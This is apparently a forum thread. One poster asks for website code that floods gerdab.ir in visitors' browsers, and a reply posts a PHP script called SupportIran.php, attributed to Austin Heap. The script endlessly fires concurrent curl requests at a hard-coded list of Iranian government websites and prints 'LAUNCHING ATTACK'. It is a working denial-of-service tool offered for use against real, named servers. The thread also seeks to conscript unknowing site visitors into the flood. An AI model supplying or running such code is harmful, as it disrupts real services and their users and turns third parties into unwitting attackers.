Does anyone have a quick little bit of code I can add to my website that will bandwidth rape gerdab.ir? I get a bit of traffic, and I want to add something that will refresh gerdab.ir in the background (after everything else on the page has loaded).
thansk goes to Austin Heap http://209.85.135.132/search?q=cach...austinheap.com/iran/&cd=3&hl=de&ct=clnk&gl=en other iranian governement sites: parstimes.com/gov_iran.html code: <?php /* * SupportIran.php v0.6 * Austin Heap * * A tiny script on a MULTI mission. * * * You MUST be running PHP 5.2.3 or better and have the Curl (version 7.16.2 or better) PHP module installed * * * !! There is now a version you can run in your browser !! * !! Go to austin heap . com to start now !! * */ //* Target Iranian gov't sites $sites = array( "http://www.khamenei.ir/", "http://www.presstv.ir/", "http://www.irna.ir/", "http://www.president.ir/", "http://www.mfa.gov.ir/", "http://www.moi.ir/", "http://www.police.ir/", "http://www.justice.ir/", "http://live.irib.ir/" "http://www.judiciary.ir/" ); //* Do the deed print 'Press Control-C to terminate...LAUNCHING ATTACK: '; $x = 0; while ( true ) { print '.'; flush( ); reqMultiCurls( $sites ); print '.'; $x++; } function reqMultiCurls( $urls ) { $chs = array(); $contents = array(); foreach ( $urls as $url ) { $ch = curl_init( $url ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt( $ch, CURLOPT_TIMEOUT, 1 ); $chs[] = $ch; } $mh = curl_multi_init(); foreach ( $chs as $key => $ch ) { curl_multi_add_handle( $mh, $ch ); } do { $mrc = curl_multi_exec( $mh, $active ); } while ( $mrc == CURLM_CALL_MULTI_PERFORM || $active ); foreach ( $chs as $key => $ch ) { if ( curl_errno( $ch ) == CURLE_OK ) { $contents[] = curl_multi_getcontent( $ch ); } else { echo "!"; } } curl_multi_close( $mh ); return $contents; }